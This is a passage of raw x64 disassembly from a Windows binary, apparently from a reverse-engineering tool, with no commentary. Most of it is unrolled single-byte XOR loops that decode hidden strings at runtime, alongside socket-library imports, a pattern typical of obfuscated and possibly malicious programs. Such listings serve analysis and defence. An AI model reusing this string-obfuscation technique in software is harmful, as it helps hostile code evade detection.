xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x140053670
mov byte [rdx + 0x51], 0
lea rcx, [rsp + 0xb0]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, [rsp + 0x50]
call fcn.140057eb0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140057ef0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x140053840
mov byte ds:[r11 + 0x51], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, [rsp + 0x50]
call fcn.140057f90
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140057fd0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x140053a10
mov byte [r11 + 0x51], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058070
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400580c0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, ds:[r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
lea r8, [r8 + 0x1c]
lea rax, [r10 + r8]
cmp rax, 0x54
jb 0x140053bf0
mov byte [r11 + 0x54], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x50]
call fcn.140058160
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
mov byte [r8 + 0x17], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.1400581a0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
movzx eax, byte [r9]
xor byte [r8 + 0x22], al
lea r8, [r8 + 0x25]
lea rax, [r10 + r8]
cmp rax, 0x4a
jb 0x140053db0
mov byte ds:[r11 + 0x4a], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, [rsp + 0x660]
call fcn.140058230
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [r8 + 7], 0
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
lea r8, [rsp + 0x3f8]
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.140024f20
nop
lea rdx, [rsp + 0x90]
call fcn.140058250
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x3a
jb 0x140053fa0
mov byte [r9 + 0x3b], 0
lea r8, [rsp + 0x3f8]
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.140024c80
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
lea rdx, [rsp + 0x50]
call fcn.1400582c0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140058300
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r10 + r8]
cmp rax, 0x4b
jb 0x140054180
mov byte [r11 + 0x4b], 0
mov rdx, r11
lea rcx, [rsp + 0xb0]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, ds:[rsp + 0x70]
call fcn.140058390
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
mov byte [r8 + 0x12], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.1400583c0
mov r9, rax
lea r10, [rax + 1]
lea r8, [rax + 3]
mov r11, rbx
sub r11, rax
nop word [rax + rax]
lea rdx, [r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r11], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r8 + r11]
cmp rax, 0x45
jb 0x140054320
mov byte [r10 + 0x45], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xc0], xmm1
mov r8, r14
nop dword [rax]
inc r8
cmp byte [r10 + r8], 0
jne 0x140054410
mov rdx, r10
lea rcx, [rsp + 0xb0]
call fcn.1400074e0
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, qword [rsp + 0x3b0]
je 0x1400545c5
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqa xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0xb0], 0
add qword [rsp + 0x3a8], 0x40
jmp 0x1400545db
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140057d20
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
sub rbx, rax
nop word [rax + rax]
lea rcx, [rbx + r8]
movzx eax, byte [r9]
xor byte [rcx + rdx], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [rbx + r8]
cmp rax, 0x45
jae 0x1400575e6
nop dword [rax]
jmp 0x1400544f0
lea r8, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.140067e60
nop
lea rcx, [rsp + 0xb0]
call fcn.140003c40
lea rcx, [rsp + 0x90]
call fcn.140003c40
lea rdx, [rsp + 0x70]
call fcn.140058460
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
mov byte [r8 + 0x15], 0
mov rdx, qword [0x140226268]
mov rcx, r14
inc rcx
cmp byte [r8 + rcx], 0
jne 0x140054654
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005760c
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x90]
call fcn.140027b80
nop
movdqa xmm0, xmmword [0x140200d30]
movdqa xmmword [rsp + 0x320], xmm0
movdqa xmm1, xmmword [str._f]
movdqa xmmword [rsp + 0x330], xmm1
movdqa xmm0, xmmword [0x140200ae0]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [0x140200b00]
movdqa xmmword [rsp + 0x350], xmm1
mov dword [rsp + 0x360], 0x2c39243c
mov dword [rsp + 0x364], 0x312c673b
mov word [rsp + 0x368], 0x2c
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x321], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x322], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x323], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x324], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x325], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x326], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x327], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x328], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x329], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32b], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32c], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32d], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32e], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x32f], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x330], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x331], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x332], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x333], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x334], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x335], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x336], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x337], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x338], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x339], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33a], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33b], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33c], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33d], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33e], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x33f], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x340], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x341], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x342], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x343], al
movzx eax, byte [rsp + 0x320]
xor byte [rsp + rcx + 0x344], al
add rcx, 0x24
cmp rcx, 0x48
jb 0x140054710
mov byte [rsp + 0x369], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
